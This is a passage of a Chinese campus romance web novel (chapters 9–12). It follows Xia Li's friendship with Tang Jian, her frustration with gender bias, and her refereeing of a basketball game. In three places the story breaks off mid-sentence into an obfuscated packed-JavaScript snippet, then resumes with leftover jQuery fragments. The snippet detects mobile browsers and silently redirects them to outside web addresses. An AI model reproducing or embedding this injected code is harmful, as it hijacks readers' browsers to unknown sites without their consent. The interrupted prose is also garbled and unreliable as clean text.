……可见刚开学这几天大家也没什么新闻,论坛里前十个热帖里就有六个是关于她的,她随便点开一个翻了会,果然看到两张唐简和陆子航对峙时的侧影照片。底下跟帖的应该有当时也在场的人,不时回复着不明所以问这是在干吗的帖子。 更奇怪的是,她不仅看到好几个好奇问她和唐简什么关系的……甚至还看到有人拍了他们当时在草坪上聊天时候的照片……更可怕的是连每天他们晚上一起在操场跑步锻炼的照片都有。 夏篱:“……”可真吓人。 虽然昨天那事在场的都知道问题不是出在他们两人身上,但就像陆子航说的那样——唐简身份很敏感。 夏篱看着有些闹心地皱了皱眉。 她点开和唐简的微信聊天框,看了半天他中午提前发给自己的外卖信息,然后打字:唐建军,你今天中午没到食堂吃饭是因为昨晚的事被学校约谈了吗? 夏篱以为得很久才能看到唐简回消息,结果没想到他几乎秒回:不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587043|171353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏篱:真的? 唐简::) 夏篱一看那代表着“再废话就闭嘴”的表情发过来,终于放下心。 夏篱:我想家里的大虾了,今天外卖的虽然也可以,但跟家里的比还是差远了。 唐简:有的吃还挑 唐简:挑了吃也没用 唐简:也长不高 夏篱:“……”可真烦人。 夏篱:滚!!!!!! 她就多余担心他! 军训后边这几天社团组团招新,方茴、乐苗和梁清波甚至加上从四楼天天跑来她们宿舍的辛恬都因为忙着报社团参加各种面试而忙得不可开交。夏篱其实也天天跟着她们到各个社团里转,却没一个能让她真正提起兴趣的。 那天航模社的事总是时不时的出现在她的脑子里。 很多时候,她被那些招新组的同学认出来是霸占了好几天论坛热帖的女主人公,就总是被拉着好奇地问这问那——尤其问得最多的一个问题——你跟唐简真的不是男女朋友吗?那他为什么那么护着你啊? 夏篱对此解释的嘴皮子都要磨破了的同时,心里却是有些沮丧的。 因为那天的事,所有的人——包括她同班同学在内,似乎对她和唐简之间关系的好奇,亦或是感兴趣的程度,都要比那件事情的起因而有兴趣的多得多。 夏篱觉得很难过。 第一次真真正正为一件明明本质上的“不公平”而难过。 那天她跟着乐苗去学校的cos社面试,没想到竟然也被他们拽着好奇了半天。 夏篱甚至不堪其扰地当场给唐简发消息说:要不咱俩绝交算了! 没头没尾的一句话,一个半小时后那边回的却是相当配合:行 唐简:需要写个切结签字画押吗 夏篱:…… 夏篱:…………唐建军,你真的很讨厌。 唐简:承让:) 此次绝交事件不了了之。 反正也没找到自己感兴趣的,夏篱索性后来就宿舍——操场——食堂——图书馆四点一线。因此学校凡是能一眼认出来她的人就总能看到个长发及腰的纤细身影像只小鸟似的或背着个小包或抱着书踩着滑板在各个林荫小径里穿梭来去。 军训结束前一天晚上,夏篱上完晚自习从班里出来,照例到操场跑自己雷打不动地5公里日常锻炼。 她在操场边做热身时,已经跑完一半目标十公里的唐简正巧迎面过来。他今天穿着身黑色的运动服,外套拉链习惯性地拉到下巴底下——要不是还有张白皙的俊脸……白白的脸露在外面,整个人几乎都融进了操场边缘的暗影里。 也不怕把人吓着了,夏篱撇撇嘴想。 她压着腿,抬手给他挥了挥算是打招呼。 唐简慢跑着停下,视线在她脸上扫了圈,微微喘息着问她:“怎么不高兴。” 夏篱目光原本是无意识地落在不远处围在一块打着篮球的几个男生身上的,闻言回神似的有些意外地抬眸看他眼,“没有啊,怎么这么说?” 唐简低眉望着她,眸色深黑——不知是不是他的错觉,总觉得最近几天无论是时间还是空间上,仿佛总有一种前所未有的、无形的界限横亘在两人之间。 唐简看着她的视线很稠密,只可惜对此向来少了根筋的夏篱并未察觉到一点。 他顺着她刚刚的视线往篮球场那看了眼,又转回来头,沉黑的视线落在她身上,唇线拉得极薄。少顷开口问了句:“听说明天阅兵式结束,新生和教官们的篮球赛原主裁把位子让给你了?” 夏篱“啊”了声。 唐简:“你见他了?” 夏篱看那边穿白衣服的男生抢了对方一个球后直接扔了个漂亮的三分球,有些赞赏地挑挑眉毛,闻言有些心不在焉地反问了句,“见谁?” “……”唐简没说话。 夏篱也没在意,视线从篮球场那边收回来,随口道,“明天我拿到裁判证后的第一场正式篮球赛,你要来看吗?” 半天没听到人回复,热身结束原准备开跑的夏篱有些纳闷地抬头望过去,还没来得及开口,就见唐简“黑”着一张脸,冷冷地回问她,“你想我去吗?” “……”夏篱不明所以地看着他眨眨眼,心道刚还问她怎么不高兴,明明不高兴的人是你才对吧?她实事求是道:“……你想来就来啊。” 她又不是幼儿园小朋友了,表演个节目还非要爸爸妈妈亲朋好友个个都来参加,不然她就撒泼打滚闹脾气…… 唐简:“……” 唐简也不知道自己怎么回事,就觉得夏篱这种满不在乎的神色让他看着很闹心,很不高兴,很……生气。 他瞪着她老半天,没回他去还是不去,只是语气梆硬地问了她一句准备好了没。 “准备好——”了啊。 夏篱话还没说完,就见唐简已经二话不说地转身接着往前跑了。 她看着那像个兔子似的越跑越快的高大背影:“……” 看吧,她就说他自从上了大学就变得越来越奇怪了吧! 10.第 10 章 隔天夏篱比闹钟先醒,看了眼还有十多分钟才六点半,就打算再眯五分钟——她关掉闹钟刚把手机放到枕边却又听“咻咻”两声。 她睡眼朦胧地重新划开屏幕,看到唐简给她发过来的微信消息。 唐简:六点半楼下等你 唐简:一起吃早餐 夏篱在心里“嗯”了声,迷迷糊糊地将手机放下翻个身——两分钟后,她猛然惊醒,拿手机又看了眼时间才发现是虚惊一场。 紧接着她挣扎片刻,坐在床上又发了会呆方才踩着梯子轻手轻脚地下床去卫生间洗漱。 十分钟后夏篱洗漱完毕,回到床边拿起手机打开微信。 咻—— 唐简的消息突然跳在屏幕上:我到楼下了 夏篱看着屏幕上的消息眨了眨眼。 到楼下了? 谁楼下? 她? 现在? 夏篱看了眼时间,确定是6:30整——距离每天他给自己送早餐过来的时间还有半个小时——她原本打算用这半个小时预习的。 她莫名其妙地点开对话框,刚想问他今天怎么这么早——就看到半个多小时前他发给自己的两条消息。 夏篱:“……” 对话框上并没显示小红点,那就说明这两条消息她是看过了的。 夏篱看着手机上的06:30有些心虚地还没想好给他回复什么,就见那边仿佛早料到似的又继续发过来一条:再给你十分钟 夏篱撇撇嘴,打字:知道啦! 夏篱一向起得早,走时宿舍其他三个都还没醒。 她在宿舍群里说了声就挑了个小鱼板抱着轻手轻脚地开门出去了。 寝室楼下种了几排梧桐树,天气虽已入秋,长势依旧十分的旺盛。夏篱下到四层从楼梯窗口望出去,可以看到一整片绵延的绿色。 淡风轻轻吹过,响声沙沙。 夏篱人到楼下,时间不偏不倚地正好跳到六点四十分。 她晃着手机屏幕给唐简看,示意她可是没迟到。 夏篱把手里的军训帽反扣到头上,踩着滑板往前滑了几米又以一个帅气地倒板回滑到唐简身后,紧接着又转了个方向保持着后轮滑跟在他身边。 “你今天怎么会有时间跟我一起吃?”她歪头看他好奇问。 ——虽然这两个星期她一日三餐都是他来安排的,但因为他专业课程时间上的原因,两人其实凑不到一块吃饭。一般都是早饭他买过来给她,午晚餐则是他刚好吃完的时候是他们下训的时间。 唐简闻言偏头回看她,下意识先抬手把刚落到她肩头的半片叶子拿了下来。 他捏着那叶子在指尖转了转,语气略微冷淡地回了她个问句:“嫌弃?” “……” 夏篱一个急刹将板子横停在唐简跟前,皱眉看着他的表情有点儿生气。她瞧着因为她的动作而步子戛止的人,警告地抿了抿唇,说,“唐简!你再这样我就真生气了!” 唐简听到自己名字从她嘴里出来心里咯噔一下,但和她四目相对时表情却是不为所动地回视着她,“为什么生气,我怎么了?” “……” 夏篱张了张嘴,却一下卡壳住了。 就是啊,他怎么了? 这半个月按时按点地投喂自己,每隔几天还提着干妈叮嘱他买的大包零食让她跟室友们分享着一块吃……而且就算他没时间给自己占位子打饭他也会提前发订好的外卖信息给她。最重要的是,她甚至从来不用担心他带给她的东西里会有哪怕一样是她不喜欢吃的。 唐简目不转睛地看着她,仿佛还在耐心地等她回答。 夏篱想了半天,也确实没想明白他怎么了。 但是! 她就是觉得从昨晚在操场两人碰面后他人就变得奇奇怪怪的——虽然说话还是跟平常一样找打,但……就是跟以前是不一样的……找打。 昨天问她怎么不高兴,其实却是自己不高兴……然后跑步还气成了一只兔子。 唐简见她好半天只是生气瞪着自己也没开口说话,伸手捉住她手腕将她从滑板上拽下来。 他弯腰拎起板子看了她一眼就径直往前走了。 夏篱站在原地没动。 唐简察觉她没像往常那样跟上,停下脚回头看她。 “不吃早饭了?” 夏篱有些赌气地瞪着他不说话,也不动。 今天的天气应该十分晴朗,还没到七点日头就升起来了。 蓝天、白云、绿树。 风朗气清。 好半晌,唐简深吸了口气又慢慢吐出来。 树荫下两个影子慢慢凑近,他回走到她跟前,问她,“那你昨天为什么不高兴?” 其实不止是昨天,自从那天航模社的事情过后,每次见她虽然脸上也总带着笑,但就是知道她不开心。 这次没等夏篱回话,唐简紧接着又开了口:“因为那天我故意什么都没说就带你去报名的事……生气?” 因为没办法进自己早心心念念的航模社了? 直到听到唐简的话,夏篱才意识到其实她以为自己释怀的、没放在心上的东西,原来不止不是那样,甚至这件事还被某人比自己更敏锐地察觉到了。 ……看来发小这生物比那些八卦同学还要可怕啊。 “怎么不说话?”唐简低眉看着她,扬手在她面前打了个响指。 夏篱这下也没再嘴硬了,说,“我没因为这个生气……没因为这个不开心,”她改口,又说,“我说了我知道你是为了不想让我等进了航模社之后才发现陆子航这个人,才故意在那天让我去面试的。” “嗯。”唐简应了声。“算你有点良心。” 夏篱:“…………” 这次夏篱零帧抬起的脚又被唐简零帧抬起的脚给躲过了。 …… 唐简继续往食堂走,但夏篱给他要板的时候他没拒绝。 刚开始,夏篱踩着板在他身边前前后后沉默地转来转去,什么都没说。唐简也不说话,只是偶尔视线跟着眼前她扬起的发尾瞧上两眼。好一会儿,夏篱才慢慢滑着跟在唐简身边,开口,“我其实真的没生气,也没不高兴。” 唐简:“嗯。” 夏篱:“我就是有点郁闷……还有点难过。” 唐简:“嗯。” “从小到大,无论你做什么选择,不管是幼儿园你说要跟干爸一样未来当一名保家卫国的海军军官,还是小学你说大学要读飞行器设计将来做一名航天设计师,甚至是后来初中改想法要当飞行员,还是战机飞行员……从来都没有人对此提出过任何质疑。 “好像这些东西选择哪个对你来说都是无可厚非的,你都可以轻而易举的做到。” 可她就不一样了。 小时候她说自己未来要和外公一样做一个非常厉害的战机设计师,虽然家里所有人都夸她支持她,但长大后她也明白那时候的他们也只是因为她是他们非常爱的人,所以不论她做什么选择他们都会支持她。 即便她说要做老师、做警察甚至哪怕只是窝在家里做一只米虫,他们都照样会鼓掌支持,说她的选择真棒。 她是幸运的,因为有自始至终爱她和支持她的家人。 可除此之外呢。 其他每个人在听到她的理想后,就算不是质疑和怀疑她一个女孩子怎么会想做这个,也是嘴上应着夸着,可眼里却是完全相反的意思。 所以那天航模社的事,其实不过是一件“旧事重演”而已。 没什么的。 对此她已经很习惯了。 可是…… 还是会觉得沮丧。 就是会觉得很沮丧。 为什么呢? 凭什么呢? …… 这次是夏篱察觉到身边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15594550|171353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人没有跟上自己,她垂了垂眼,却没马上停板,而是又往前滑了几米,才把板子慢慢踩停下。 夏篱回头。 看到唐简隔着几米的距离看着她。 似乎从很远的地方飘来几声练习口语的女声。 清晨的风,也让空气带了些树木的味道,阳光碎金般从树叶间洒下来,变换着各种形状,也晃在他身上。 唐简今天照常穿着一身黑色。 黑色的休闲裤和休闲衬衫,将他原本就修长挺拔的身形拉得更加颀长。阳光摇晃,却晃不散他深峻明晰的脸部线条和深邃黝黑的眉眼。 树影下的两个影子再次凑近,夏篱看着走近的唐简——因为仍旧踩在滑板上,她几乎是和他平视着的。 性别偏见是很多人的必修课,而你已经让许多人重修过了。 唐简很想这样告诉她。还想说—— 所以一直以来你做的都很出色。 可话到嘴边,张口却是:“所以呢?” “……” 唐简双手环胸,瞅她道,“六岁那年哭得一把鼻涕一把泪也要骑在我刚拼好的乐高上振臂高呼自己才是未来最强战机设计师的……小矮子,去哪了?” 他微微俯低身子,和夏篱四目相对。 夏篱从小到大的脾气都不差,甚至严格来说,她脾气一直都很好。 对着长辈会撒娇卖萌讨老人家喜欢,对同龄友人也耐心大度朝气蓬勃,唯独偶尔在面对唐简时,会耍些无伤大雅的坏脾气。 而这些坏脾气里也唯独在“未来谁才会是这世界上最厉害最伟大的战机设计师”的问题上,她从小到大是一分不让,半步不退的坚持。 她六岁他七岁那年,他也只不过是跟她嘴硬强调了两遍他才会是未来最强战机设计师而已,就差点儿没被她骑在脖子上胖揍一顿。 …… 少顷,唐简看着夏篱眼中渐渐升腾起来的火气,轻描淡写地说,“我还以为下午你打算再给那些不懂事的人好好上上一节课呢。” 夏篱反应了下,才回过神来他这最后一句说的是下午那场她自荐要给教官和新生们的篮球友谊赛做裁判的事。 只是闻言她还没来得及开口,就又看面前这人叹息似的摇了摇头,“搞了半天,你倒搁这未战先怯自怨自艾上了。” 夏篱:“……” 好想打人。 不过虽然唐简说得特别不像个人话,夏篱却忽然有些豁然开朗了。 对啊,就是因为这样她现在才会站在这里,也是因为这样她才要更加努力,更是因为现在这样她做的一切才有意义啊。 反正,以后一定会越来越好的。 夏篱回视着唐简眼里几近挑衅的目光,脸上反而扬起了笑。 她看着他眯了眯自己那双重新燃起斗志的大眼睛,两手叉腰郑重地邀请他,“唐建军,你下午来看我比赛吧!” 唐简闻言嘴角还没来得及提起来,就听她继续道:“感觉你今天看着还是挺顺眼的。” 唐简:“…………” 唐简:“……行,今天就吃俩包子吧。” 原本想给你来个豆浆油条小笼包豆腐脑……豪华早餐八件套打打气的。 算了。 没必要。 夏篱看迈着大长腿绕过自己就走的某人,听出来他语气里的嫌弃,有些不满地踩着滑板追上去,为包子鸣不平。 包子怎么了?包子多好吃啊! 不过—— 想着从明天开始就没人天天供自己一日三餐了,夏篱突然就还挺惆怅的……她甚至有种冲动想去找干妈商量下能不能让她拿唐简下学期的生活费再偷偷要挟一下他,让他再给自己打半个月的饭。 不过,这个缺德想法她也就自己在脑子里过过瘾罢了,要是她真这么做了,最后还不幸地被唐简知道了,那估计以后她就很难以如今一个完整的形态存在在这个世界上了。 11.第 11 章 其实今天这场篮球赛,学校在军训刚开始两三天时就通知各班导员预告过了。 说是友谊赛,但还算挺正规的,而且学校也算重视。 教务处今年主管军训事宜的老师组织了各班自主报名参赛,首选是高中时就在校篮球队做过主力的新生。夏篱原本刚开始就去导员那问过需不需要裁判的,但导员帮她询问过后却被教务处告知他们已经请了校篮球队的队长做这次比赛的主裁,另外两个副裁一个是稍微上了点年纪的体育老师还有一个是教官队里推举出来的。 夏篱的导员是个刚研究生毕业两年的女孩,只比她大了七八岁。一头干练利落的短发,穿着虽偏中性,但人说话很温柔。那天她在转告夏篱时,看到小姑娘那双漂亮的大眼睛里全是遗憾,就觉得不忍心。 那时候航模社事件还没发生,导员也并不清楚自己这个学生身上有多少buff存在,只知道这个作为镜市理科状元的小姑娘,不仅学习好长得漂亮性格还特别的讨人喜欢。说话时常常带着笑,跟人交流时那双大眼睛也总是亮亮的很认真。 尤其在听到她用了半年多的时间一边备战高考一边准备篮球裁判考试,最后还都成功的拿下时……不忍心的同时又加了很多的不服气。 她想这么优秀的女孩如果错过这场既可以展现自己又可以锻炼自己的机会那也太可惜了吧。 所以她单枪匹马去教务处“吵”了一架。 说您怎么这么“为老不尊”呢?为什么就不能甘愿被后浪拍一拍呢?世界那么大难道这场比赛您就非上不可吗? 然后她顺利给夏篱争取到了这次机会。 只是原本夏篱是要顶替体育老师做副裁的,但后来据说那个篮球队队长在听说夏篱有三级裁判证书后,前两天就主动让贤,把主裁的位子让给了她。 当导员第一时间在微信里通知夏篱时,她的反应是很低调地欣然接受了。 所以这一个星期,夏篱偶尔会偷偷地去篮球馆看新生队一块练习。 几次看下来后,觉得他们还挺糟糕的。 当然,作为做过校篮球队主力的球员他们每个人的技术都不差的,但篮球比赛不比其他,比如乒乓羽球单人赛,只要自己技战术过硬赢得冠军的机率就会更大一些。乒乓羽球的双打和混双且都要两人在个人技术过硬的同时还要日复一日地一次次练习磨合直到双方配合默契,同频节奏,更何况是一上场两队加起来就有十个人的篮球赛呢。 而今年他们学校邀请的教官据说都是陆军某队一个队的。 夏篱去的几次,每次感觉自己并不是在看一场团体赛,而是一场个人战。 每个人都在跑,跑得乱七八糟毫无章法,仿佛巴不得包括替补队员在内都能赶紧毕业似的。 她甚至看到过一次因为做陪练的“教官方”一员“诈球”的一声“传我!”……这边那人就看也不看也不过脑地把球传给了“对手”。 看得夏篱也跟着教练一起直拍额头。 虽然作为裁判,夏篱需要保持公平公正,但作为北城大学的一份子,她私心自然还是希望学校可以赢的。 下午两点半,阅兵式结束的很顺利。 秋日的阳光像融化的蜂蜜,黏在学校篮球馆的玻璃穹顶上,空气里混合着室内独有的橡胶和木板味道。 因为偶尔会有国内大型篮球赛在这场馆里举办,学校篮球馆的配套设施相对于其他学校仅有的功能性而言要正规许多,甚至连鹰眼技术都有。 夏篱将长发束成利落的马尾。 所有准备就绪后,她一身黑色裁判服亮相于场地中央。 “我的天啊,真的是学生还是女裁判?!”看台上有女生看到夏篱跑出场,惊呼了声,“我早上看到学校发的通知时还以为发错了!” 旁边女生两手圈在眼周看着大屏幕眯了眯眼睛,“欸欸,我怎么看着这女生这么眼熟呢?” “夏篱啊!”最开始那女生说道,“学校通告里有写名字,你忘了前几天在活动馆航模社事上闹挺大,还上了热搜的那个女生,我今早还特意去论坛里对了对名字,只是没想到真的会是她……太牛了。” “她还懂篮球啊?”后边女生声音听起来也很惊讶,“做裁判?” “……通告里说她是‘篮球三级裁判员’。” “…………牛逼。” “牛逼!” “牛逼什么牛逼?”坐在两人后边的一个男生翘着二郎腿闻言抖了抖脚,撇着嘴说,“谁知道那证是多少钱买的?现在花钱买个证别太容易。 “是骡子是马出来遛遛就知道了,以为裁判有个证就行呢?闹呢?” 最开始那女生听见后头有人接话,本能回头看了眼,但听完后就忍不住看着那抱胸吊儿郎当的红T男说,“是啊,是骡子是马出来遛遛就知道了,人家有出来遛的机会,大哥你呢?你怎么坐在这看不上去打两场呢?是生性不爱打吗?” “……煞笔。” 女生:“彼此彼此。” “……” 跟三人座位隔了两个人的方茴原本听了男生的话后就想上去怼两句的,结果听到那女生四两拨千斤的话,没忍住跟一旁的辛恬对视一眼直接笑喷了。 这时,场上比赛正式开始。 “哔——” 哨声划破燥热空气,橙红色篮球自夏篱掌心腾空而起。 夏篱迅速后退,仰头盯着旋转的球体,耳畔传来鞋底与地面的迅疾摩擦声。 教官队中锋凭借身高优势拍飞篮球,但新生队控卫却令人意外地如猎豹突袭般截获了球权。 很漂亮的开端。 比赛进行到第一节1分42秒时,夏篱突然用清亮的嗓音高声警告:“三秒区!”——场中正试图强攻篮下的新生控卫闻声急停转身,差半步就要踏入禁区限制区了。 观众席爆发的欢呼声里,夏篱的哨子始终安静地悬在胸前——开场三分钟零犯规,这对热血沸腾的新生而言其实已经堪称奇迹了。 但比赛进行到第二节3分12秒时,变故陡生——新生队小前锋带球突破时,教官突然横移卡位。 “砰!”的一声闷响,两人摔作一团。 急哨骤响。 夏篱左手比出进攻方号码,右手在胸前划出阻挡手势,整套动作行云流水。 被吹犯规的教官跃身而起,看着场边的夏篱有些生气也有些无奈:“这种程度的对抗在部队——” “也是犯规。”夏篱接话,铿锵掷地——因为防守方并未确立合法位置。 “……”算你严谨。教官揉了揉头上的板寸。 此时原本还算安静的观众席里突然发出一阵掌声,夏篱转头,看见唐简倚在围栏上,骨节分明的手掌拍得漫不经心。但见她视线转过去时,却又及时转开了头,装作仿佛正认真听身旁人说话的样子。 夏篱瞧见隐蔽地撇撇嘴。 切。 随后倒是在乐苗用力地拍着手“嗷嗷”两声时,夏篱嘴边没忍住溢出来一丝短暂的浅笑。 中场休息,校街舞社的十几个人分成男女两队表演了两首相当可以调动气氛的Breaking和Jazz。 夏篱正看计分器时,另外两个作为副裁的老师和教官接连走过来冲她竖了竖大拇指。 就算赛前他们两次开会碰面,那时候的他们也没想到这个不过才十八九岁的小姑娘人在场上和场下会如此的判若两人……还真是小看了。 而这边夏篱却满心思都在比赛上。 对于上半场比赛,新生队和教官队能打成28:35,夏篱心里其实已经很惊讶了——新生队的表现简直是超常发挥般的令人惊叹。 十五分钟后,下半场开始。 夏篱看得出来新生队在刚开始时冲劲还是很大的,可随着计分器上分数的差距越来越大,他们节奏明显乱了,以至犯规次数骤增。 不仅两个球员被罚下场,还让教官队进了两个罚球。 尤其第四节最后17秒,新生控卫带球突进时明显乱了步伐——在他第三步落地瞬间,夏篱的哨声抢先半步响起。 “哔——” 她单手举拳过顶,另只手平举指定方向示意走步。 替补席瞬间炸开锅,新生控卫急得冲过来,声音大地仿佛在控诉夏篱的无知:“我这是欧洲步!” 夏篱心跳得其实很快,却不卑不亢地迎着他视线。 看着那控卫冷然道:“标准欧洲步是两拍节奏,你刚才多垫了半步。” 因为被拆穿,控卫怒瞪着她脸涨的通红。 夏篱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15597617|171353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不为所动地吹哨,示意比赛继续。 …… 终场倒计时归零的瞬间,夏篱的哨声像把银色小刀划开凝滞的空气。她举起双臂比出“比赛结束”的手势—— 计分器最终比分停在47:72。 汗珠顺着她额角滚落,滴进衣领里,在黑色衣料上洇出深色痕迹。 新生队败了。 …… 比赛结束后,新生控卫连带着被罚下场的两个球员往更衣室走的一路还不满地回头看了夏篱好几眼,倒是教官队的好几个人都过来跟夏篱击了个掌,嘴里念叨着几句“可以啊”。 体育老师估计也注意到了新生队那几个人,等教官们离开后过来拍拍她的肩膀安慰:“都是半大小子,有气性着呢,别放在心上。” 虽然他也没想到眼前这不过刚十八岁的小女孩在场上判罚吹哨的技术会如此严苛又精准,他甚至可以想象得到她私下得反复看了多少录像视频才能做到如此地步了。 夏篱给老师扬了个笑,说了句“辛苦了老师”。 场馆里喧闹声渐渐平息,场边突然传来几声快门连响。 夏篱转头,看见比赛时在场外跟着球员们满场跑的宣传部的相机镜头。 她在那拿着相机的男生示意时,笑着对镜头挥了挥手。 那男生仿佛没想到她会这么配合似的,兴奋的把快门都快按出残影了,然后终于心满意足地远远冲她比了个OK。 “篱篱!” 方茴和乐苗几人从夏篱身后的观众席里冲她跑过来。 夏篱闻声刚要回头,却察觉到相机取景框边缘一道朝自己看过来的专注视线。 她目光稍偏,瞥见个眼生的修长身影——那人穿着身纯白运动服,果然正两手插兜目不转睛地看着她。 她礼貌地冲他笑了笑,下意识往看台上扫了眼——随即有些纳闷地鼓了鼓嘴才转身看向跑到自己身边的四人。 “太帅啦太帅啦!” 说是为了给夏篱壮气势,乐苗今天专门cos了赤木晴子的一身,深蓝色上衣和浅蓝色裙子,领口还仔细地系着个红色蝴蝶结。她跑过来直接抱起夏篱转起了圈,兴奋之情溢于言表,“篱篱!我才发现女生当篮球裁判辣么帅!你好棒啊啊啊啊啊啊啊!!!” 虽然篮球她是一点看不懂,但就是觉得女生在场上的感觉太帅了! 夏篱也没想到乐苗能一下把自己抱起来,惊笑一声忙弯腰搂住她肩膀,有些不好意思地说:“我身上都是汗……” “没关系,你还是香香的!”看得出来乐苗是真心为她高兴。 夏篱笑着帮她理了理头上歪掉的半长假发,随后跟同时朝自己举起手来的方茴和辛恬一一击掌。 梁清波在跟她拍掌时似叹非叹地说了句:“夏篱,你可真是够牛的!” 方茴依旧执着:“你还不承认你会飞?!” 夏篱看梁清波笑笑,才看着方茴搞怪笑道:“这个臣妾真做不到啊。” 几人正笑闹时,梁清波看着夏篱背后抬了抬下巴示意:“那帅哥你认识吗?一直在看你。” 夏篱跟着她视线转身,看到刚刚那个白衣男生在看见她回头时抬脚朝她走过来。 直到走近夏篱三步远时男生才笑着伸出骨肉匀停的手,声音像浸过山泉的玉石似的,叮咚落在夏篱耳中:“校篮球队队长程愈。” 夏篱不是特别意外地“啊”了声,笑着伸手和他一握,“原来是你。” “是我。”程愈眼底晕开一丝笑,眸色像是刚研磨开来的墨汁。他给余下四人礼貌地颔了颔首,然后看着夏篱不吝称赞道,“很精彩的比赛……当然,我是说你。” “谢谢。”夏篱落落大方地接受了他的夸赞,旋即像是想起什么,又补了一句,“对了,还要谢谢你的慷慨让贤。” 程愈摇了摇头,开门见山地开口:“要不要考虑加入我们校队来做特聘裁判?” 这下夏篱确实稍稍有了些意外,但她还没来得及回话,耳边突然响起一阵吱嘎哗啦的响声——下一瞬,一道黑色身影突地侧身挡到她跟前。 只见唐简一手捏着被捏扁了的矿泉水瓶,一手仍闲散地抄在裤兜里,看着程愈很礼貌地开口询问: “程队,要不要考虑也让我加一下队?” 12.第 12 章 从程愈的视角来看,在唐简说完这句话后,夏篱的脑袋就像只小猫似的“biu”一下从挡在他面前的唐简肩膀上冒出来。 她微微抿着唇,歪着脑袋仰脸看着唐简的侧脸,拿指尖点了点他肩膀,不满地说,“唐建……简!你干吗,没看到人正在跟我说话吗?!” 而唐简的反应则是头也没回地抬起原本抄在裤兜里的右手,掌心贴住她头顶往下一压——夏篱的脑袋就又不见了踪影。 程愈看着眼前的场景唇边漾开一抹笑,他回视着面前始终目不转睛轻轻眯着双眼盯着的自己的年轻男人半晌,开口叫了声他的名字。 “唐简,好久不见。” “也不是很久吧,一个暑假而已。”唐简说。 夏篱的脑袋又从唐简胳膊一侧冒出来,好奇地瞅着两人,“你们认识啊?” 程愈模样看着觉得很有意思似的,学着夏篱歪了歪脑袋,看着因为某人的严丝合缝亦步亦趋始终只能在身侧露出来一双大眼睛的夏篱,笑着回复她,“当然认识。而且学弟可没学妹你看着好说话,去年我费了多少嘴皮子想邀他入篮球队,他都置之不理呢。” 又一个?夏篱闻言瞪大了眼。 她只知道航模社那个社长因为前年和唐简在VEX机器人大赛上有过一面之缘——那个社长是大学生组,唐简是中学生组。因为对那年中学生冠军组比赛时自由阶段的设计稳定程序印象深刻,所以对作为主设计人又是队长的唐简自然也是英雄惜英雄。 去年在知道唐简考了北城大学航空学院飞行器专业后,据说那社长简直欣喜若狂。 然而可惜让那社长没想到的是……唐简拥有个从小到大偶尔一个不高兴、甚至偶尔没有不高兴……毫无缘由的就谁面子都不给的臭脾气。 说不加就不加,真是比诸葛亮还难请。 虽然唐简说是因为陆子航他才不想去的,但夏篱以唐简的项上人头发誓,他肯定不是这个原因——至少不只是这个原因。 因为就像她说的,他从头顶到脚底板就不是那种因为“某个人”——尤其是某个无足轻重的人而选择不去做一件自己明明就很喜欢的事的人。 夏篱虽然没机会见一见那个航模社的社长,但就凭去年一年他能不在意唐简的臭脾气,依然锲而不舍持之以恒坚韧不拔地想要将他纳入麾下……她还是很佩服他的。 ——只是也可惜了。 而至于眼前这个——夏篱想,约莫也是看了唐简去年拿冠军的市篮球赛才想要他加队的吧。 “真是小牌大耍……”夏篱撇撇嘴,在唐简胳膊上拍了一巴掌。 唐简:“……” 他难得没开口直接回怼什么,只是默不作声地又抬手把她脑袋按了回去。 程愈似笑非笑地看着眼前这一幕,而后视线落在唐简的脸上,问:“学弟这是怎么突然想通了?” “都说了‘突然’还有什么为什么。”唐简淡声回了句。 “行。”程愈笑着点了点头,“学弟可以加队我自然求之不得。”他说着,从兜里摸出来两张名片,一张递给唐简,另一张从唐简肩膀上递过去给他只能看到个因为比赛时的跑位马尾辫稍稍松散的头顶的夏篱,“这是我名片,你们考虑好了可以随时联系我。” ——递给夏篱的名片不意外地也被唐简二话不说给抽走了。 “喂,唐建……简!你怎么这么不讲理,”等程愈走远,夏篱终于成功从唐简身后绕了出来,她伸手去夺他手里的名片,皱眉道,“那是人家给我的联系方式,凭什么两张你都拿了?” 唐简故意举高了拿着两张名片的手,低头看着夏篱“无能狂怒”地使劲蹦跶。 绚丽的晚霞铺满整个篮球馆,将它沐浴成一片暖人的金色。 那一高一矮两道同着一身黑色的身影站在同样被映成一片金色的枫木地板中央,满地的落日余晖,仿佛从他们脚下一直蜿蜒到遥远的天边尽头。 “青春真好啊。”乐苗感叹。 “……”方茴说,“你不也在青春。” 辛恬:“人和人青春的差距。” 梁清波:“一语中的,一鸣惊人。” 